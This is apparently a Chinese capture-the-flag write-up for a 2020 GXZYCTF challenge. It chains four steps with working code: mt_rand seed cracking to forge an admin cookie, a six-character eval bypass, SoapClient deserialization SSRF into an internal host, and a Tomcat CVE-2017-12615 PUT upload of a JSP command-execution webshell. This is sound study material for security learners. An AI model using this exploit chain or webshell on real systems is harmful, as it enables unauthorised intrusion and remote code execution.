0%

2020 GXZYCTF NORTHWRD

first

www.zip获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "85196940";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}

可以观察到, 加密模式为des-cbc

但是明文我们却是知道的, 我们看加密的部分

1
2
3
4
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);

那么我们现在已知明文密文, 如果能够再获得 key 或者 iv, 就可以直接加解密了, 因为 des-cbc 的加密方式如下(CBC字节翻转原理)

1584756068474

我们看第一个块, 首先取 8 个字节的明文, 与IV进行异或, 再与KEY进行加密运算, 之后输出 16 字节的密文, 而如果我们知道KEY, 后面则是用上一个块的加密结果代替IV异或, 而我们如果能知道KEY, 就可以将明文作为IV, 用密文和KEY进行解密, 获得的第一个块的值, 就是 IV

可以看到红框中的两个部分是一样的, 但是我们如何获取KEY呢, 注意到页面中给了这些信息

1584756141031

而源代码中的mt_rand需要seed才能获取随机数。现在已知该函数产生的三个随机数。

采用文章中介绍的方法获取seed

https://www.anquanke.com/post/id/196831

破解脚本需配置三个参数

各参数分别为

  • 相隔 226 个数的 R0, R227
  • 生成 R0 之前已经生成的个数 offset
  • flavour 如果是 php7 则为 1, php5 则为 0

计算的部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

// input seed
$uid_first = $argv[1]??1082636436;
$uid_last = $argv[2]??306106574;
$seed = rtrim(shell_exec("python seed.py $uid_first $uid_last"));
echo "seed: $seed\n";

// calc iv
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}
$o = new User("guest");
$mes = serialize($o);
$c = $argv[3]??"OS8vWDE4Mk5ETklJYytXTUFLZG5xU2hJeFkyQ2tXbTJEb01wWkhRUThkckpYcnFDR2RpalFhb3dDekRTem82RQ%3D%3D";
$cipher = base64_decode(urldecode($c));
mt_srand(intval($seed));
for($i = 0; $i < 228; $i++){
mt_rand();
}
$key = strval(mt_rand() & 0x5f5e0ff);
echo "key: $key\n";
$iv = substr(openssl_decrypt($cipher, "des-cbc", $key, 0, substr($mes, 0, 8)),0,8);
echo "iv: $iv\n";

然后我们就可以进行反序列化了, 先登录为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// calc iv
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}
$o = new User("admin");
$aaa = serialize($o);
$cipher = openssl_encrypt($aaa, "des-cbc", $key, 0, $iv);
$cookie_user = base64_encode($cipher);
$cookie_hash = md5($aaa);
echo "user: $cookie_user\n";
echo "hash: $cookie_hash\n";

second

hint.php 中直接给出了位置, 而右键就可以看到注释的源代码,

1
2
3
4
5
6
7
8

if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}
else{
highlight_file(__FILE__);
}

我们可以通过/?cc=$cc的方式来绕过,因为$cc刚好是 6 个长度, 而$就是重新引用了变量, 使得长度不再受限, 那么我们就可以任意执行了

但是我们看提示的位置是在内网, 我们进不去, 有什么办法可以进去呢

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

可以看到当调用SoapClient类不存在的方法时, 会触发__call, 使得我们拥有一个请求注入的机会, 这里就正好可以用来打 SSRF, 因为源码中存在一个反序列化, 反序列化的参数可控, 并且会调用一个show()方法

1
2
$o = unserialize($uid);
echo $o->show();

因而poc可以写为

1
2
3
4
5
$cmd = urlencode("`\$cc`;bash -c 'payload'");
$path = "http://10.10.1.12/";
$path = $path."?cc=$cmd";
$o = new SoapClient(null, array('uri' => $path, 'location' => $path));
$aaa = serialize($o);

third

https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

一个tomcat的老洞,找到一个jsp马上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("

");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("

");
}
%>
1
curl -X PUT http://10.10.2.13:8080/2.jsp/ -d "`echo PCUKICAgIGlmKCIwMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiaSIpKS5nZXRJbnB1dFN0cmVhbSgpOwogICAgICAgIGludCBhID0gLTE7CiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4XTsKICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7CiAgICAgICAgd2hpbGUoKGE9aW4ucmVhZChiKSkhPS0xKXsKICAgICAgICAgICAgb3V0LnByaW50bG4obmV3IFN0cmluZyhiKSk7CiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9CiU+|base64 -d`"